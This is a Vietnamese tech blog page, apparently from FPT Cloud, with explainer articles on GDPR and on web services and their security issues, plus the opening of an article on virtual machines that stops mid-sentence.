Blogs Tech

GDPR là gì? Tầm quan trọng của GDPR trong bảo vệ dữ liệu

11:05 10/03/2022
PDPR là gì? Thực tế  đối với những doanh nghiệp có ý định hợp tác cùng các công ty thuộc khối EU hay thu thập dữ liệu công dân Châu Âu thì khá quen thuộc với thuật ngữ này. Thế nhưng không phải bất kỳ ai cũng hiểu rõ được, nhất là đối với những ai không thuộc lĩnh vực. Vậy nên đang làm việc có liên quan tới GDPR thì hãy cùng FPTCloub tổng hợp các kiến thức cụ thể. GDPR là gì? PDPR là gì? Cơ bản thuật ngữ này được viết tắt từ cụm tiếng Anh đầy đủ là General Data Protection Regulation. Bạn có thể hiểu đây là quy định chung về vấn đề bảo mật thông tin của Liên minh Châu Âu. Quy định được phát triển với đầy đủ các điều luật về quyền riêng tư dữ liệu gắn kết trên toàn Châu Âu. Mục đích chính là giúp bảo vệ tất cả người dân của Liên Minh Châu Âu trong giao dịch giữa những nước thành viên EU. [caption id="attachment_22858" align="aligncenter" width="771"] Tìm hiểu chi tiết về khái niệm GDPR là gì[/caption] Nghị viên Châu Âu đã chính thức công nhận và thông qua quy định GDPR vào tháng 4 năm 2016. Quy định chính thức thay thế cho luật bảo mật dữ liệu đã lỗi thời từ năm 1995. Trong đó  GPDR được sử dụng đồng bộ ở khắp 28 nước thành viên EU. Trong đó, GPDR có một số điểm khác so với quy luật trước như: Thẩm quyền lớn hơn: Áp dụng cho mọi công ty xử lý dữ liệu cá nhân của mọi người đang sinh sống ở khu vực EU và bất kể vị trí công ty. Khoản phạt: Bị phạt tối đa tới 4% doanh thu toàn cầu hàng năm hoặc €20 Triệu. Sự đồng thuận: Phải được yêu cầu một cách rõ ràng, có thể tiếp cận dễ dàng và phải có khả năng phân biệt cùng những vấn đề khác. Thông báo phạm vi: Bắt buộc và phải được hoàn thành trong 72 giờ làm việc Quyền riêng tư: Yêu cầu bảo vệ dữ liệu phải được bao gồm từ khi bắt đầu thiết kế hệ thống. Lịch sử ra đời của GDPR Một khi hiểu được GDPR là gì vậy quy định bảo vệ này từ đâu mà có? Chi tiết diễn biến và lịch sử ra đời của GDPR sẽ cho bạn cái nhìn cụ thể nhất. Căn cứ để GDPR hình thành Trước khi GDPR ra đời, EU đã có nhiều quy định nghiêm ngặt trong việc các công ty sử dụng dữ liệu cá nhân của công dân. Ví dụ như Chỉ Thị bảo vệ dữ liệu vào năm 1995. Thế nhưng khi Internet  đang trở thành môi trường kinh doanh sôi động như hiện nay thì chỉ thị này đã lỗi thời. Chỉ thị không còn đáp ứng được các yêu cầu về lưu trữ thu thập và giao dịch từ liệu  như hiện nay. [caption id="attachment_22862" align="aligncenter" width="771"] GDPR ra đời đã giải quyết được vấn nạn lộ thông tin ra bên ngoài[/caption] Đứng trước tình trạng đó công dân ở các quốc gia EU và Hoa Kỳ rất lo ngại về vấn đề rò rỉ thông tin cá nhân. Đặc biệt nhất là đối với những thông tin liên quan đến vấn đề tài chính và ngân hàng. Một thực tế khảo sát ở 75.000 công dân từ các nước Pháp, Đức, Ý, Anh và Hoa Kỳ về vấn đề rò rỉ thông tin. Trong đó kết quả phân tích có đến gần 62% người cho biết nếu bị lộ thông tin cá nhân họ sẽ đổ lỗi cho công ty thay vì các hacker. Chính vì vậy nên nhiều người khi đăng ký các dịch vụ Online thường khai báo thông tin giả. Mục đích chính là để giảm thiểu tình trạng bị lộ hoặc bán lại thông tin. Nhiều người còn cho biết họ sẽ thực hiện tẩy chay các công ty có những hành động tiết lộ thông tin cá nhân. Còn riêng những nơi thực hiện nghiêm túc các biện pháp bảo mật họ sẽ ủng hộ.  GDPR ra đời Trước những lo ngại về quyền riêng tư và sự phát triển của công nghệ internet, EU nhận thấy sự cần thiết của biện pháp bảo vệ quyền riêng tư con người. Vì vậy GDPR ra đời và có hiệu lực từ năm 2016 sau khi thông qua nghị viện châu Âu từ tháng 5 năm 2018. Quy định bắt buộc tất cả các tổ chức phải tuân chủ và làm theo. >>> Xem thêm: Web services là gì? Cấu trúc và chức năng của web services GDPR hỗ trợ bảo vệ những gì? Giá trị cốt lõi của quy định GDPR là bảo vệ quyền riêng tư. Vậy nên GDPR chủ yếu bảo vệ những thông tin riêng tư là chính. Trong đó bao gồm như: [caption id="attachment_22866" align="aligncenter" width="771"] GDPR ra đời nhằm bảo vệ quyền riêng tư và thông tin dữ liệu của người dùng[/caption] Những thông tin định danh cơ bản. Ví dụ như tên tuổi, địa chỉ, số ID Hệ thống dữ liệu duyệt web. Ví dụ như địa điểm, địa chỉ IP, cookies hay RFID Tags.  Những thông tin về sức khỏe và di truyền Những tư liệu liên quan về sinh trắc học. Ví dụ là dấu vân tay, giọng nói, khuôn mặt. Dữ liệu về dân tộc hay chủng tộc Quan điểm tác động tới chính trị Khuynh hướng về tình dục  Đối tượng doanh nghiệp cần thực hiện GDPR Dựa vào khái niệm PDPR là gì có thể thấy những quy định chung về đối tượng doanh nghiệp. Cụ thể là tất cả các công ty lưu trữ hay sở hữu thông tin cá nhân của công dân EU đều phải thực hiện đúng quy định GDPR. Chi tiết hơn, là các công ty đáp ứng các điều kiện sau: Công ty sở hữu trụ sở tại EU Cty có hơn 250 lao động Công ty có ít hơn 250.000 đồng như quá trình xử lý dữ liệu tác động tới quyền và tự do của chủ thể dữ liệu. Trong đó bao gồm cả những loại dữ liệu cá nhân nhạy cảm.  [caption id="attachment_22870" align="aligncenter" width="771"] Các doanh nghiệp trong phạm vi phải tuân thủ đúng GDPR[/caption] Dựa vào những tiêu chí này đơn vị Propeller Insight đã thực hiện một nghiên cứu trên các doanh nghiệp và kết quả cho thấy rằng: Khoảng 53% các doanh nghiệp công nghệ sẽ bị tác động bởi GDPR Khoảng 45% là các ngành bán lẻ Khoảng 44% là những công ty phần mềm Khoảng 37% là những công ty dịch vụ tài chính Chiếm 34% là dịch vụ Online/SaaS Cuối cùng 33% thuộc về những những công ty hàng hóa đóng gói bán lẻ và tiêu dùng.  Cách để mỗi doanh nghiệp không vi phạm GDPR Trên thực tế nếu không tuân thủ quy định GDPR thì công ty sẽ phải chịu những khoản phạt nhất định từ phía EU. Trong đó tính đến ngày 29 tháng 5 năm 2020 thì  tổ chức đã xử phạt tới 282 trường hợp. Và Google sở hữu mức phạt lớn nhất với 50 triệu Euro tức 1.300 tỷ đồng. Vậy nên để không bị vi phạm quy định thì mỗi doanh nghiệp phải: Phổ cập GDPR đến mọi phòng ban Phổ cập PDPR là gì? Bạn có thể hiểu là không chỉ bộ phận IT mới cần chú ý và tuân thủ GDPR. Thay vào đó, tất cả các bộ phận khác đều cần nắm rõ và tuân thủ GDPR. Ví dụ như Marketing, tài chính, điều hành, sale,.... Miễn là bộ phận liên quan tới thu thập, phân tích hay dùng thông tin cá nhân. Mục đích là để các ban biết cách chia sẻ thông tin sao cho phù hợp và sẵn sàng giải quyết các vấn đề. [caption id="attachment_22874" align="aligncenter" width="771"] Để tránh tình trạng vi phạm GDPR doanh nghiệp cần phổ biến đến các phòng ban[/caption] Thêm vào đó các phòng ban cần lưu ý đến  những thiết bị làm việc cẩn thận, nhất là điện thoại thoại. Đa phần mọi người thường không quan tâm đến các ứng dụng cài đặt cá nhân phục vụ mục đích công việc. Thế nhưng nếu các ứng dụng này truy cập và lưu trữ thông tin cá nhân thì cũng phải tuân thủ đúng GDPR.  Đánh giá nguy cơ một cách định kỳ Một thống kê cho thấy, ước tính có đến hơn 39.000 ứng dụng sử dụng và thu thập thông tin cá nhân. Đội ngũ IT và bảo mật trong doanh nghiệp  của bạn thực tế không thể nắm bắt được hết tất cả các ứng dụng này. Vì vậy để giảm thiểu tình trạng vi phạm GDPR các đánh giá nguy cơ định kỳ là hợp lý. Đây sẽ là cách giúp chỉ ra được những góc khuất còn thiếu sót. Hơn nữa qua đó còn có thể dễ dàng tìm ra phương án để giải quyết nguy cơ tiềm ẩn. Xây dựng kế hoạch bảo vệ dữ liệu hiệu quả Cách để mỗi doanh nghiệp không vi phạm GDPR là gì? Đáp án tiếp theo dành cho bạn chính là xây dựng kế hoạch bảo vệ dữ liệu sao cho hiệu quả nhất. Nhìn chung hầu hết các công ty đều lập cho mình kế hoạch bảo vệ dữ liệu. Thế nhưng để không xảy ra bất kỳ một sai sót nào những kế hoạch này cần được đánh giá, xem xét và cập nhật định kỳ. Không những thế các doanh nghiệp cần phải thực hiện lưu trữ những bộ hồ sơ thể hiện quá trình tuân thủ GDPR.  Bao gồm những tài liệu thể hiện quá trình xử lý dữ liệu, các cá nhân chịu trách nhiệm hai nơi lưu trữ dữ liệu,... [caption id="attachment_22878" align="aligncenter" width="771"] Cần xây dựng kế hoạch cẩn thận để bảo vệ dữ liệu[/caption] >>> Xem thêm: Internal Server Error là lỗi gì? Nguyên nhân và cách khắc phục Doanh nghiệp được quyền sử dụng dữ liệu người dùng? Trên thực tế doanh nghiệp vẫn có thể được quyền sử dụng dữ liệu cá nhân của người dùng. Tuy nhiên để làm được điều này doanh nghiệp cần phải cá tính các điều kiện cần và đủ sau đây: Được cá nhân đồng ý cho phép sử dụng dữ liệu với mục đích minh bạch, rõ ràng. Ví dụ như khách hàng cho phép cửa hàng dùng thông tin để giới thiệu những chương trình khuyến mãi. Thực hiện ký kết biên bản cho phép sử dụng dữ liệu trong khi xử lý. Hoặc thực hiện các biên bản hợp đồng mà cá nhân là một bên. Ví dụ bạn cần thực hiện kiểm tra thông tin lý lịch trước khi tiến hành cho thuê sản phẩm hay dịch vụ. Thực hiện theo đúng những yêu cầu  nghĩa vụ pháp lý từ tòa án về dữ liệu cá nhân. Ví dụ như cung cấp thông tin có tác động trực tiếp hoặc gián tiếp đến phiên xét xử của tòa án. Những thông tin Dữ liệu cần thiết có ảnh hưởng trực tiếp đến tính mạng của một cá nhân nào đó. Ví dụ chẳng hạn như bằng chứng ngoại phạm của người nào đó bị tình nghi liên quan đến vụ án mạng. Khi thực hiện trách nhiệm hay nhiệm vụ liên quan tới lợi ích xã hội. Ví dụ là cung cấp thông tin những hộ nghèo trong địa phương để họ có thể nhận được sự giúp đỡ. Sử dụng thông tin dựa trên lợi ích hợp pháp. Điều kiện này không có những quy chuẩn riêng vì nó được quyết định bởi nhiều yếu tố liên quan tới trường hợp.  Những bài viết liên quan: Joomla là gì? Hướng dẫn cài đặt & sử dụng mã nguồn mở Joomla Drupal là gì? Khám phá nền tảng phát triển web Drupal từ A – Z WordPress Localhost là gì? Hướng dẫn cách cài đặt chi tiết Theme WordPress là gì? Hướng dẫn cách add theme WordPress chi tiết Vậy về cơ bản  bạn đã hiểu được GDPR là gì.  Nói tóm lại GDPR không chỉ giúp người dùng có thể bảo vệ được thông tin dữ liệu mà còn đem tới tính cân bằng ở môi trường kinh doanh. Hy vọng rằng với những chia sẻ của FPT Cloud bạn sẽ có được cho mình thông tin hữu ích nhất.

Web services là gì? Cấu trúc và chức năng của web services

10:57 10/03/2022
Web services là gì? Cấu trúc và chức năng của web services có gì đáng chú ý? Những câu hỏi này đối với người trong ngành hoặc người nghiên cứu về lĩnh vực này có thể không khó để trả lời. Tuy nhiên đối với nhiều người bình thường vẫn chưa thực sự hiểu rõ. Vì vậy nội dung bài viết hôm nay sẽ dành riêng để giải đáp tất cả những thắc mắc này, bạn hãy cùng theo dõi nhé. Web Services là gì? Web services là thuật ngữ được sử dụng nhiều trong lĩnh vực lập trình. Chỉ những người thuộc lĩnh vực lập trình mới có thể có sự am hiểu cặn kẽ về Web services. Tuy nhiên đối với người bình thường muốn hiểu rõ về Web services là gì cũng không phải là việc gì quá phức tạp.    [caption id="attachment_22802" align="aligncenter" width="771"] Hiểu đúng về Web services là gì?[/caption] Định nghĩa Web services có thể hiểu một cách đơn giản, ngắn gọn là dịch vụ Web. Đây là một dạng mô đun phần mềm được thiết kế để thực hiện một nhóm các tác vụ nhất định. Hệ thống Web services có thể được truy cập và sử dụng thông qua mạng Internet dưới dạng một dịch vụ. Dịch vụ Web sẽ cung cấp các chức năng cho máy khách để người dùng có thể sử dụng nhằm đạt được mục tiêu sử dụng nhất định. Định nghĩa đúng về Web services hiện nay khá đa dạng tài liệu chuyên ngành. Tuy nhiên mỗi một tài liệu có một cách định nghĩa khác nhau nên nhiều người khi tìm hiểu khó xác định được đâu là định nghĩa đúng và hiểu như thế nào mới đúng với bản chất của dịch vụ Web services.  Mặc dù vậy có nhiều định nghĩa nhưng bạn chỉ cần hiểu đúng bản chất của dịch vụ Web nay là sự tích hợp giữa 2 máy tính. Dịch vụ giúp 2 máy tính có thể tương tác hiệu quả với nhau qua mạng. Để một dịch vụ được coi là Web services thì cần thỏa mãn các tiêu chí quan trọng như: Có sẵn ở trên Internet. Hoặc có sẵn trong mạng nội bộ Dịch vụ sử dụng một hệ thống XML messaging đúng tiêu chuẩn Hoàn toàn không bị trói buộc bởi một HĐH hay ngôn ngữ lập trình nào Có thể dự diễn tả thông qua 1 cấu trúc XML đơn giản Được tìm kiếm dễ dàng thông qua các phương thức đơn giản …. [caption id="attachment_22806" align="aligncenter" width="771"] Web services thực hiện một nhóm các tác vụ nhất định[/caption] Cơ chế hoạt động  Cơ chế hoạt động của Web services chủ yếu sử dụng các tiêu chuẩn mở như HTML, XML, WSDL và SOAP. Một dịch vụ Web cơ bản được cho phép giao tiếp giữa các ứng dụng khác sẽ sử dụng: XML để gắn thẻ dữ liệu SOAP để chuyển tin nhắn WSDL để mô tả sự sẵn có của dịch vụ Thông qua cơ chế hoạt động này người dùng có thể xây dựng một dịch vụ web JAVA – Based chất lượng trên Solaris. Dịch vụ web này vốn có thể truy cập được từ Visual Basic chạy trên nền tảng hệ điều hành Windows.  Bạn cũng có thể sử dụng ngôn ngữ lập trình C # để xây dựng các dịch vụ Web trên HĐH Window. Dịch vụ Web này có thể được gọi từ ứng dụng web của bạn dựa trên JavaServer Pages và chạy trên Linux. [caption id="attachment_22810" align="aligncenter" width="771"] Web services và cơ chế hoạt động đáng chú ý[/caption] >>> Xem thêm: Internal Server Error là lỗi gì? Nguyên nhân và cách khắc phục Cấu trúc chung của Web Services Web services là một tập hợp các giao thức và tiêu chuẩn mở được sử dụng để trao đổi dữ liệu giữa các ứng dụng, các hệ thống. Cấu trúc của Web services được xây dựng khá chặt chẽ. Vì vậy khi sử dụng dịch vụ Web này giúp tạo nên những trang web chất lượng, kết nối linh hoạt.  Cấu trúc dịch vụ Web  Cấu trúc hạ tầng của Web services phụ thuộc rất nhiều vào vài trò của từng yếu tố trong dịch vụ Web. Trong đó cấu trúc dịch vụ web kết nối chặt chẽ, hoạt động linh hoạt chủ yếu dựa vào vai trò của các nhân tố sau đây. Service Provider: Đây là nhà cung cấp dịch vụ Web. Chức năng chính của nhà cung cấp dịch vụ Web là giúp triển khai và cung cấp các dịch vụ trên Internet. Vì vậy cấu trúc của dịch vụ Web không thể thiếu nhân tố này. Service Requestor: Đây là những người dùng của dịch vụ Web. Những người sử dụng của dịch vụ Web sẽ là những người đưa ra yêu cầu sử dụng dịch vụ Web bằng cách mở mạng và gửi XML. Service Registry: Đây là thư mục logic tập trung của dịch vụ Web. Thư mục này sẽ cung cấp không gian tập trung, nơi mà các nhà phát triển có thể xuất bạn những dịch vụ mới. Hoặc hỗ trợ không gian giúp nhà phát triển dễ dàng tìm kiếm dịch vụ hiện có. Service Registry cos đóng vai trò như một thanh toán bù trừ tập trung cho ác công ty và dịch vụ của công ty. [caption id="attachment_22814" align="aligncenter" width="771"] Chi tiết cấu trúc của dịch vụ Web[/caption] Protocol Stack trong lớp dịch vụ Web  Cấu trúc của Web services không chỉ dựa vào vai trò của các nhân tố được kể trên mà còn dựa vào Protocol Stack trong lớp dịch vụ Web. Các Stack vẫn đang được phát triển và hiện tại có 4 lớp chính trong dịch vụ Web như sau: Service Transport: Lớp này có trách nhiệm vận chuyển thông tin giữa các ứng dụng. Các thành phần chính hiện tại của lớp này gồm có giao thwucs truyền tải văn bản Hyper, giao thức thư đơn giản, giao thức truyền tệp, giao thức trao đổi mở rộng khối.  XML Messaging: Lớp này có nhiệm vụ mã hóa tất cả những thông điệp theo định dạng XML. Trong quá trình mã hóa phải đảm bảo có thể hiểu các thông điệp ở cả 2 đầu. Khác với lớp Service Transport thì lớp này gồm các yếu tố chủ yếu như XML – RPC, SOAP. Service Discovery: Lớp này trong Stack có nhiệm vụ tập trung những dịch vụ vào một số đăng ký chung. Ngoài ra lớp này còn cung cấp chức năng xuất bản/tìm kiếm thông tin dễ dàng. Hiện tại việc khám phá dịch vụ sẽ được xử lý thông qua việc mô tả chung, khám phá và tích hợp gọi tắt là UDDI. Ba thành phần chính của Web Services Web Services hiện nay được phân chia thành rất nhiều loại, nhiều bộ phận khác nhau. Mỗi bộ phận, thành phần có công dụng và nhiệm vụ riêng giúp quá trình hoạt động của dịch vụ Web trở nên thuận lợi hơn. Tuy nhiên đúc kết lại sẽ 3 thành phần chính của dịch vụ Web gồm các loại sau đây. [caption id="attachment_22818" align="aligncenter" width="771"] Web Services có những thành phần chính nào?[/caption] SOAP SOAP là cụm từ được viết tắt của Simple Object Access Protocol. SOAP là một giao thức dựa trên XML để trao đổi thông tin giữa các máy tính với nhau. Hay nói một cách tổng quát hơn thì đây là giao thức hoạt động dựa vào XML để truy cập dịch vụ Web. Thành phần SOAP của Web Services được sử dụng để gửi thông điệp giữ các ứng dụng. SOAP được thiết kế thông qua Internet, cấu trúc đơn giản, dễ mở rộng. WSDL Thành phần quan trọng tiếp theo của dịch vụ Web chính là WSDL. WSDL là cụm từ viết tắt cho thành phần Web Services Description Language. Thành phần này được thiết kế bởi Microsoft và IBM. WSDL là một dạng ngôn ngữ chuẩn chung, hoạt động dựa trên XML để mô tả các dịch vụ Web và truy cập chúng. Nếu không có sự tồn tại của thành phần WSDL thì việc truy cập và mô tả dịch vụ Web sẽ rất khó thực hiện. UDDI Thành phần UDDI cũng là một dạng tiêu chuẩn dựa trên XML để mô tả, sản xuất và tìm kiếm các dịch vụ Web. Tuy nhiên thành phần này lại là một Open Framework. Ngoài ra đây cũng là một nền tảng độc lập khác hoàn toàn so với các thành phần khác. UDDI dễ dàng giao tiếp qua SOAP, CORBA cũng như giao thức RMI Java. UDDI còn sử dụng WSDL để mô tả giao diện cho các dịch vụ web.  [caption id="attachment_22822" align="aligncenter" width="771"] Thành phần UDDI trong Web Services[/caption] Vì sao nên sử dụng Web Services? Web Services là dịch vụ Web quan trọng mang đến nhiều lợi ích cho người dùng và các doanh nghiệp. Vì vậy dịch vụ Web này ngày càng phủ sóng là điều rất dễ hiệu. Tuy nhiên nếu bạn nào chưa biết lý do vì sao nên sử dụng dịch vụ Web này thì những chia sẻ sau đây chính là lời giải đáp cho bạn. Hiển thị chức năng có trên Internet Một trong những lý do quan trọng đầu tiên để Web Services xứng đáng được nhiều người lựa chọn là vì dịch vụ này hiển thị rõ chức năng có trên Internet. Có thể nói, một dịch vụ Web là một đơn vị mã hóa. Dịch vụ được quản lý có thể được gọi từ xa bằng cách sử dụng HTTP. Bên cạnh đó dịch vụ có thể kích hoạt bằng cách sử dụng các yêu cầu HTTP.  Các dịch vụ Web cho phép người dùng hiển thị chức năng của mã hiện có qua mạng. Nhờ vậy các ứng dụng khác có thể sử dụng chức năng của chương trình một cách dễ dàng, hiệu quả. [caption id="attachment_22826" align="aligncenter" width="771"] Web Services hiển thị chức năng có trên Internet dễ dàng[/caption] Cải thiện khả năng tương tác Sử dụng Web Services cho phép các ứng dụng khác có thể giao tiếp với nhau dễ dàng. Quá trình chia sẻ dữ liệu giữa các ứng dụng, dịch vụ với nhau cũng trở nên đơn giản hơn. Sử dụng Web Services còn giúp các ứng dụng khác có thể sử dụng dịch vụ Web bất cứ khi nào muốn. Vì vậy chỉ cần sử dụng dịch vụ Web thì việc gia tăng khả năng tương tác là điều dễ dàng đáp ứng được. Đây được xem là một trong những lý do quan trọng để dịch vụ Web trở thành dịch vụ xứng đáng được lựa chọn sử dụng. Bởi vì ví dụ như một ứng dụng VB hoăc .NET có thể giao tiếp với các dịch vụ web Java và ngược lại. Các dịch vụ Web Services được sử dụng để làm cho nền tảng ứng dụng và công nghệ trở nên độc lập hơn. Nếu không có dịch vụ Web thì mọi tính năng này hoàn toàn không thể tồn tại và khả năng tương tác giữa các ứng dụng sẽ bị loại bỏ. Chuẩn hóa giao thức  Web Services là một trong những dịch vụ chủ yếu sử dụng giao thức chuẩn hóa để giao tiếp. Trong đó quá trình hoạt động sẽ dựa trên tất cả 4 lớp cấu thành để sử dụng các giao thức tác bietj trong Stack giao thức của dịch vụ Web. 4 lớp hỗ trợ quá trình chuyển hóa giao thức của dịch vụ Web có thể kể đến như:  Truyền tải dịch vụ Nhắn tin XML Mô tả dịch vụ Các layer khám phá dịch vụ [caption id="attachment_22830" align="aligncenter" width="771"] Web Services hỗ trợ quá trình chuẩn hóa giao thức tiêu chuẩn[/caption] Việc chuyển hóa Stack giao thức này mang lại cho doanh nghiệp và người dùng nhiều lợi thế mà không phải dịch vụ nào cũng đáp ứng được. Chi tiết nhưng lợi ích mà quá trình chuyển hóa Stack giao thức mang lại như: Có nhiều lựa chọn khi thực hiện chuyển hóa giao thức để giao tiếp Giảm chi phí do canh tranh Tăng chất lượng dịch vụ Giảm bớt chi phí truyền thông Theo những thông tin đã được phân tích ở trên có thể thấy các Web Services đều sử dụng SOAP qua giao thức HTTP để hoạt động. Vì vậy khi bạn triển khai các dịch vụ Web với một đường truyền Internet khiêm tốn. Sử dụng dịch vụ Web như một giải pháp giúp tiết kiệm chi phí truyền thông. Bởi vì giải pháp này ít tốn kém hơn nhiều so với các giải pháp độc quyền như EDI/B2B. Ngoài ra, các dịch vụ Web không chỉ sử dụng SOAP qua giao thức HTTP mà các dịch vụ Web còn có thể được triển khai trên các cơ chế truyền tải đáng tin cậy khác như FTP. Do đó sử dụng dịch vụ Web là việc nên làm nếu muốn tiết kiệm chi phí truyền thông hiệu quả nhất. >>> Xem thêm: Máy ảo là gì? 4 Phần mềm máy ảo miễn phí tốt nhất hiện nay 3 Vấn đề bảo mật thường gặp ở Web Service  Bảo mật là một trong những vấn đề quan trọng nhất cần đảm bảo đối với các dịch vụ Web. Tuy nhiên trên thực tế, các thông số XML – RPC và SOAP tại Web Services đều không thực hiện bất kỳ yêu cầu xác thực hoặc bảo mật rõ ràng nào. Trong đó 3 vấn đề bảo mật thường gặp của dịch vụ Web nổi bật nhất có thể kể đến như: [caption id="attachment_22834" align="aligncenter" width="771"] Vấn đề bảo mật thường gặp ở Web Service[/caption] Confidentiality Confidentiality là một trong những vấn đề bảo mật thường gặp của dịch vụ Web. Bởi vì nếu Client gửi yêu cầu XML đến máy chủ thì có thể đảm bảo rằng các thông tin liên lạc được giữ bí mật hay không? Câu trả lời chính là: XML – RPC và SOAP chạy chủ yếu trên HTTP HTTP có hỗ trợ SLL Giao tiếp có thể được mã hóa thông qua SSL. Đây là một trong những công nghệ đã được chứng minh và triển khai rộng rãi. Một dịch vụ Web có thể bao gồm 1 chuỗi các ứng dụng. Chẳng hạn như một dịch vụ lớn có thể dễ dàng kết nối các dịch vụ của 3 ứng dụng khác. Tuy nhiên như vậy thì SSL là không đủ. Vì vậy các thông điệp cần được mã hóa tại mỗi nút dọc theo đường dẫn dịch vụ và mỗi nút đai diện cho một liên kết sẽ vô cùng yêu tiềm năng trong chuỗi.  Hiện tại chưa có giải pháp nào được thống nhất có thể đảm bảo giải quyết được vấn đề này một cách tuyệt đối. Do đó đây được xem là một trong những vấn đề bảo mật nghiêm trọng mà Web Services sở hữu.  [caption id="attachment_22838" align="aligncenter" width="768"] Confidentiality – Vấn đề bảo mật đáng chú ý của dịch vụ Web[/caption] Authentication Authentication là vấn đề bảo mật thường gặp tiếp theo của dịch vụ Web - Web Services. Sự tồn tại của Authentication là một dấu chấm hỏi lớn cho vấn đề bảo mật của một dịch vụ Web. Bởi vì nếu một Client kết nối với 1 dịch vụ Web thì làm thế nào để xác định được người dùng? Người dùng dịch vụ có được phép sử dụng dịch vụ hay không? Vậy đề này khá nghiêm trọng và rất khó để xác định. Tuy nhiên vẫn có một vài phương án xác thực như sau: HTTP: Hỗ trợ tích hợp chính xác thực Basic và Digest. Vì vậy các dịch vụ có thể được bảo vệ theo cách tương tự như với các tài liệu HTML hiện đang được bảo vệ. SOAP – DSIG: Tận dụng mã khóa công khai để ký điện tử các thông điệp SOAP. SOAP – DSIG cho phép máy khách hoặc máy chủ xác định danh tính chính xác của bên kia. Vì vậy tính bảo mật của phương pháp này khá đảm bảo. Tổ chức OASIS: Tổ chức này đang phát triển với ngôn ngữ Markup xác thực bảo mật SAML. Thông qua những phương án này có thể dễ dàng đánh giá chính xác vấn đề bảo mật Authentication của dịch vụ Web. [caption id="attachment_22842" align="aligncenter" width="771"] Authentication giúp bảo mật dịch vụ Web[/caption] Network Security Network Security là vấn đề bảo mật thường gặp của dịch vụ Web nhưng hiện nay chưa có câu trả lời tuyệt đối cho vấn đề này. Vì vậy Network Security luôn là một trong những chủ đề của nhiều cuộc tranh luận liên quan đến vấn đề bảo mật của dịch vụ Web. Nếu bạn nào thực sự có ý định lọc ra các thông điệp SOAP hoắc XML – RPC thì có một cách lọc hiệu quả mà bạn có thể áp dụng đó là lọc ra tất cả các POST HTTP request. Sau đó đặt lại nội dung của chúng thành text/xml. Có một cách khác mà bạn cũng có thể lựa chọn là lọc thuộc tính tiêu đề HTTP SOAPction. Các nhà cung cấp tường lửa hiện đang phát triển các công cụ hỗ trợ được thiết kế chuyên biệt, rõ ràng nhằm giúp quá trình lọc lưu lượng dịch vụ Web hiệu quả hơn. [caption id="attachment_22846" align="aligncenter" width="771"] Network Security vấn đề bảo mật thường gặp của dịch vụ Web[/caption] Những bài viết liên quan: Host là gì? Toàn tập kiến thức về Host từ A đến Z Mẹo đổi Port Remote Desktop cực nhanh chỉ trong 15s API là gì? Những đặc điểm nổi bật của REST API XMLRPC là gì? Ứng dụng & cách vô hiệu hóa XMLRPC khi cần Web services là gì? Cấu trúc và chức năng của web services có gì đáng chú ý? Tất cả những câu hỏi thắc mắc này đã được giải đáp chi tiết trong bài viết trên đây. Hy vọng bài viết sẽ giúp bạn đọc có thể hiểu rõ hơn về dịch vụ Web và tầm quan trọng của dịch vụ Web. Nếu trong quá trình tìm hiểu bài viết và bạn thấy có thông tin gì chưa hiểu hoặc bạn muốn tìm kiếm thêm các nội dung thắc mắc khác liên quan thì có thể liên hệ FPT Cloud để được tư vấn, hỗ trợ. 

Máy ảo là gì? 4 Phần mềm máy ảo miễn phí tốt nhất hiện nay

10:33 10/03/2022
Máy ảo là gì? 4 Phần mềm máy ảo miễn phí tốt nhất được đề cập nhiều hiện nay gồm những phần mềm nào? Đây đang là những thắc mắc được rất nhiều người dùng quan tâm, muốn biết hiện nay. Vậy để dễ dàng tìm kiếm được lời giải đảm đảm bảo tính chính xác nhất, bạn hãy dành thời gian tham khảo những thông tin được chia sẻ trong bài viết sau đây. Máy ảo là gì?  Máy ảo là gì? Máy ảo hay còn được gọi với tên tiếng anh là Virtual Machine. Máy ảo chính là công cụ hoàn hảo được thiết lập dành cho các lập trình viên sử dụng. Hay các nhà phát triển phần mềm ứng dụng để thử nghiệm các tính năng, sản phẩm mới. Virtual Machine là một trình giả lập hệ thống máy tính.  [caption id="attachment_22690" align="aligncenter" width="771"] Máy ảo là gì?[/caption] Virtual Machine là chương trình chạy trên hệ điều hành chủ. Virtual Machine sử dụng tài nguyên của máy tính thật. Vì vậy khi sử dụng người dùng như đang trải nghiệm một phiên bản máy tính mới, hoạt động riêng biệt hoàn toàn với hệ thống máy thật nhưng dùng chung 1 tài nguyên. Một máy tính thật có thể cho phép người dùng cài đặt nhiều máy ảo khác nhau. Các máy ảo cung cấp phần cứng ảo gồm CPU ảo, RAM ảo, ổ đĩa ứng, giao diện mạng và nhiều thiết bị khác. Khi máy tính ảo trên máy tính thật được kích hoạt, hệ thống máy ảo sẽ sử dụng một phần hoặc toàn bộ màn hình máy chủ. Người dùng có thể thoải mái thay đổi hệ thống máy tính giữa ảo và thật linh hoạt trong quá trình sử dụng.  Máy ảo sử dụng linh hoạt hay không, tốc độ load nhanh hay chậm đều phụ thuộc vào phần cứng của máy thật và phần mềm đang lập trình. Tuy nhiên một thực tế thấy rõ là hầu hết các máy tính thật cài máy ảo đều có tốc độ hoạt động chậm, khó load. Do đó những người sử dụng máy tính bình thường thường ít sử dụng máy ảo. >>> Xem thêm: Active Directory là gì? Cấu trúc & cách cài đặt Active Directory Thông tin chi tiết về cơ chế hoạt động của máy ảo  Máy ảo hoạt động cho phép người dùng chia sẻ một hệ thống mới với nhiều môi trường ảo phục vụ nhiều mục đích sử dụng khác nhau. Hypervisor – Một phần mềm giám sát Virtual Machine sẽ tiến hành quản lý phần cứng và tách tài nguyên vật lý khỏi môi trường ảo. Toàn bộ các tài nguyên được tách ra sẽ được phân vùng khi cần thiết từ môi trường vật lý đến các Virtual Machine. [caption id="attachment_22694" align="aligncenter" width="771"] Nắm rõ cơ chế hoạt động của máy ảo[/caption] Virtual Machine một khi hoạt động, người dùng hoặc chương trình có thể lệnh yêu cầu tài nguyên bổ sung từ môi trường vật lý. Lúc đó, Hypervisor sẽ ngay lập tức lập lịch và gửi yêu cầu tới tài nguyên của hệ thống vật lý. Như vậy, hệ điều hành và các ứng dụng của Virtual Machine có thể dễ dàng truy cập, sử dụng tài nguyên vật lý được chia sẻ.  Nhìn chung cơ chế hoạt động của Virtual Machine phụ thuộc lớn vào phần mềm giám sát máy ảo và lệnh yêu cầu từ người dùng. Chỉ cần người dùng thực thi 2 yêu cầu này sẽ dễ dàng sử dụng tài nguyên vật lý trên Virtual Machine một cách hiệu quả. Ứng dụng của máy ảo  Máy ảo là một trong những hệ thống giả lập ưu việt nhất tương đương với hệ thống máy tính thật. Vì vậy máy ảo ra mắt thị trường đóng vai trò vô cùng quan 